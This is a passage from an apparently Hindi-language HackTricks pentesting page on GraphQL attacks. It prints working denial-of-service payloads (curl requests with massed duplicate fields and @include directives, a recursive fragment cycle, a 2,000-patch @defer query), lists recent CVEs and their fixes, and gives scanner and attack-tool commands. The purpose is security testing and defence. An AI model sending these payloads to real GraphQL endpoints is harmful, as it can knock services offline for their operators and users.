एक कस्टम निर्देश है जो घोषित नहीं किया जा सकता। एक सामान्य निर्देश जो आमतौर पर मौजूद होता है वह है @include
:
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
'https://example.com/graphql'
आप सभी घोषित निर्देशों का पता लगाने के लिए एक अंतर्दृष्टि प्रश्न भी भेज सकते हैं:
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
'https://example.com/graphql'
और फिर कुछ कस्टम का उपयोग करें।
फील्ड डुप्लिकेशन कमजोरियाँ
फील्ड डुप्लिकेशन एक कमजोरियाँ है जहाँ एक GraphQL सर्वर एक ही फील्ड को अत्यधिक दोहराए जाने वाले प्रश्नों की अनुमति देता है। यह सर्वर को हर उदाहरण के लिए फील्ड को पुनः हल करने के लिए मजबूर करता है, जिससे महत्वपूर्ण संसाधनों (CPU, मेमोरी, और डेटाबेस कॉल) की खपत होती है। एक हमलावर सैकड़ों या हजारों दोहराए गए फील्ड के साथ प्रश्न तैयार कर सकता है, जिससे उच्च लोड उत्पन्न होता है और संभावित रूप से सेवा से इनकार (DoS) की स्थिति उत्पन्न हो सकती है।
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
'https://example.com/graphql'
हाल की कमजोरियाँ (2023-2025)
GraphQL पारिस्थितिकी तंत्र बहुत तेजी से विकसित हो रहा है; पिछले दो वर्षों में कई महत्वपूर्ण मुद्दे सबसे अधिक उपयोग की जाने वाली सर्वर लाइब्रेरीज़ में उजागर हुए हैं। जब आप एक GraphQL एंडपॉइंट पाते हैं, तो इंजन की पहचान करना (देखें graphw00f) और चल रही संस्करण की जांच करना नीचे दी गई कमजोरियों के खिलाफ महत्वपूर्ण है।
CVE-2024-47614 – async-graphql
निर्देश-ओवरलोड DoS (Rust)
- प्रभावित: async-graphql < 7.0.10 (Rust)
- मूल कारण: डुप्लिकेट निर्देशों पर कोई सीमा नहीं (जैसे हजारों
@include
) जो एक गुणात्मक संख्या में निष्पादन नोड्स में विस्तारित होते हैं। - प्रभाव: एकल HTTP अनुरोध CPU/RAM को समाप्त कर सकता है और सेवा को क्रैश कर सकता है।
- समाधान/निवारण: ≥ 7.0.10 में अपग्रेड करें या
SchemaBuilder.limit_directives()
को कॉल करें; वैकल्पिक रूप से"@include.*@include.*@include"
जैसे WAF नियम के साथ अनुरोधों को फ़िल्टर करें।
# PoC – repeat @include X times
query overload {
__typename @include(if:true) @include(if:true) @include(if:true)
}
CVE-2024-40094 – graphql-java
ENF depth/complexity bypass
- प्रभावित: graphql-java < 19.11, 20.0-20.8, 21.0-21.4
- मूल कारण: ExecutableNormalizedFields को
MaxQueryDepth
/MaxQueryComplexity
उपकरण द्वारा नहीं माना गया। पुनरावर्ती फ़्रैगमेंट्स ने इसलिए सभी सीमाओं को बायपास कर दिया। - प्रभाव: graphql-java (Spring Boot, Netflix DGS, Atlassian उत्पाद…) को एम्बेड करने वाले Java स्टैक्स के खिलाफ बिना प्रमाणीकरण वाला DoS।
fragment A on Query { ...B }
fragment B on Query { ...A }
query { ...A }
CVE-2023-23684 – WPGraphQL SSRF to RCE chain
- प्रभावित: WPGraphQL ≤ 1.14.5 (WordPress प्लगइन)।
- मूल कारण:
createMediaItem
म्यूटेशन ने हमलावर-नियंत्रितfilePath
URLs को स्वीकार किया, जिससे आंतरिक नेटवर्क पहुंच और फ़ाइल लेखन की अनुमति मिली। - प्रभाव: प्रमाणित संपादक/लेखक मेटाडेटा एंडपॉइंट्स तक पहुंच सकते थे या दूरस्थ कोड निष्पादन के लिए PHP फ़ाइलें लिख सकते थे।
Incremental delivery abuse: @defer
/ @stream
2023 से अधिकांश प्रमुख सर्वरों (Apollo 4, GraphQL-Java 20+, HotChocolate 13) ने GraphQL-over-HTTP WG द्वारा परिभाषित incremental delivery निर्देशों को लागू किया। हर डिफर्ड पैच को अलग टुकड़े के रूप में भेजा जाता है, इसलिए कुल प्रतिक्रिया आकार N + 1 (लिफाफा + पैच) हो जाता है। एक क्वेरी जिसमें हजारों छोटे डिफर्ड फ़ील्ड होते हैं, इसलिए एक बड़ी प्रतिक्रिया उत्पन्न करती है जबकि हमलावर को केवल एक अनुरोध की लागत आती है - एक पारंपरिक amplification DoS और शरीर के आकार के WAF नियमों को बायपास करने का एक तरीका जो केवल पहले टुकड़े की जांच करते हैं। WG के सदस्यों ने स्वयं इस जोखिम को चिह्नित किया।
2,000 पैच उत्पन्न करने वाला उदाहरण पेलोड:
query abuse {
% for i in range(0,2000):
f{{i}}: __typename @defer
% endfor
}
Mitigation: उत्पादन में @defer/@stream
को बंद करें या max_patches
, संचयी max_bytes
और निष्पादन समय को लागू करें। graphql-armor जैसी पुस्तकालय (नीचे देखें) पहले से ही समझदारी से डिफ़ॉल्ट लागू करते हैं।
Defensive middleware (2024+)
Project | Notes |
---|---|
graphql-armor | Escape Tech द्वारा प्रकाशित Node/TypeScript मान्यता मध्यवर्ती। क्वेरी गहराई, उपनाम/क्षेत्र/निर्देश गणना, टोकन और लागत के लिए प्लग-एंड-प्ले सीमाएँ लागू करता है; Apollo Server, GraphQL Yoga/Envelop, Helix आदि के साथ संगत। |
Quick start:
import { protect } from '@escape.tech/graphql-armor';
import { applyMiddleware } from 'graphql-middleware';
const protectedSchema = applyMiddleware(schema, ...protect());
graphql-armor
अब अत्यधिक गहरे, जटिल या निर्देश-भारी प्रश्नों को ब्लॉक करेगा, उपरोक्त CVEs के खिलाफ सुरक्षा प्रदान करेगा।
उपकरण
कमजोरियों के स्कैनर
- https://github.com/dolevf/graphql-cop: graphql अंत बिंदुओं की सामान्य गलत कॉन्फ़िगरेशन का परीक्षण करें
- https://github.com/assetnote/batchql: बैच GraphQL प्रश्नों और म्यूटेशनों को करने पर ध्यान केंद्रित करने वाला GraphQL सुरक्षा ऑडिटिंग स्क्रिप्ट।
- https://github.com/dolevf/graphw00f: उपयोग किए जा रहे graphql की फिंगरप्रिंटिंग करें
- https://github.com/gsmith257-cyber/GraphCrawler: टूलकिट जिसका उपयोग स्कीमाओं को पकड़ने और संवेदनशील डेटा की खोज, प्राधिकरण का परीक्षण, स्कीमाओं को ब्रूट फोर्स करने और एक दिए गए प्रकार के लिए पथ खोजने के लिए किया जा सकता है।
- https://blog.doyensec.com/2020/03/26/graphql-scanner.html: इसे स्टैंडअलोन या Burp extension के रूप में उपयोग किया जा सकता है।
- https://github.com/swisskyrepo/GraphQLmap: इसे CLI क्लाइंट के रूप में भी उपयोग किया जा सकता है ताकि हमलों को स्वचालित किया जा सके:
python3 graphqlmap.py -u http://example.com/graphql --inject
- https://gitlab.com/dee-see/graphql-path-enum: टूल जो GraphQL स्कीमा में एक दिए गए प्रकार तक पहुँचने के विभिन्न तरीकों की सूची बनाता है।
- https://github.com/doyensec/GQLSpection: InQL के स्टैंडअलोन और CLI मोड का उत्तराधिकारी
- https://github.com/doyensec/inql: उन्नत GraphQL परीक्षण के लिए Burp extension या python स्क्रिप्ट। स्कैनर InQL v5.0 का मूल है, जहाँ आप एक GraphQL अंत बिंदु या एक स्थानीय अंतर्दृष्टि स्कीमा फ़ाइल का विश्लेषण कर सकते हैं। यह सभी संभावित प्रश्नों और म्यूटेशनों को स्वचालित रूप से उत्पन्न करता है, उन्हें आपके विश्लेषण के लिए एक संरचित दृश्य में व्यवस्थित करता है। हमलावर घटक आपको बैच GraphQL हमले चलाने की अनुमति देता है, जो खराब कार्यान्वित दर सीमाओं को पार करने के लिए उपयोगी हो सकता है:
python3 inql.py -t http://example.com/graphql -o output.json
- https://github.com/nikitastupin/clairvoyance: कुछ Graphql डेटाबेस की मदद से स्कीमा प्राप्त करने की कोशिश करें जो म्यूटेशनों और पैरामीटर के नाम सुझाएंगे, भले ही अंतर्दृष्टि अक्षम हो।
सामान्य कमजोरियों का शोषण करने के लिए स्क्रिप्ट
- https://github.com/reycotallo98/pentestScripts/tree/main/GraphQLDoS: कमजोर graphql वातावरण में सेवा से इनकार की कमजोरियों का शोषण करने के लिए स्क्रिप्ट का संग्रह।
क्लाइंट
- https://github.com/graphql/graphiql: GUI क्लाइंट
- https://altair.sirmuel.design/: GUI क्लाइंट
स्वचालित परीक्षण
https://graphql-dashboard.herokuapp.com/
- AutoGraphQL को समझाने वाला वीडियो: https://www.youtube.com/watch?v=JJmufWfVvyU
संदर्भ
- https://jondow.eu/practical-graphql-attack-vectors/
- https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696
- https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4
- http://ghostlulz.com/api-hacking-graphql/
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md
- https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696
- https://portswigger.net/web-security/graphql
- https://github.com/advisories/GHSA-5gc2-7c65-8fq8
- https://github.com/escape-tech/graphql-armor
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।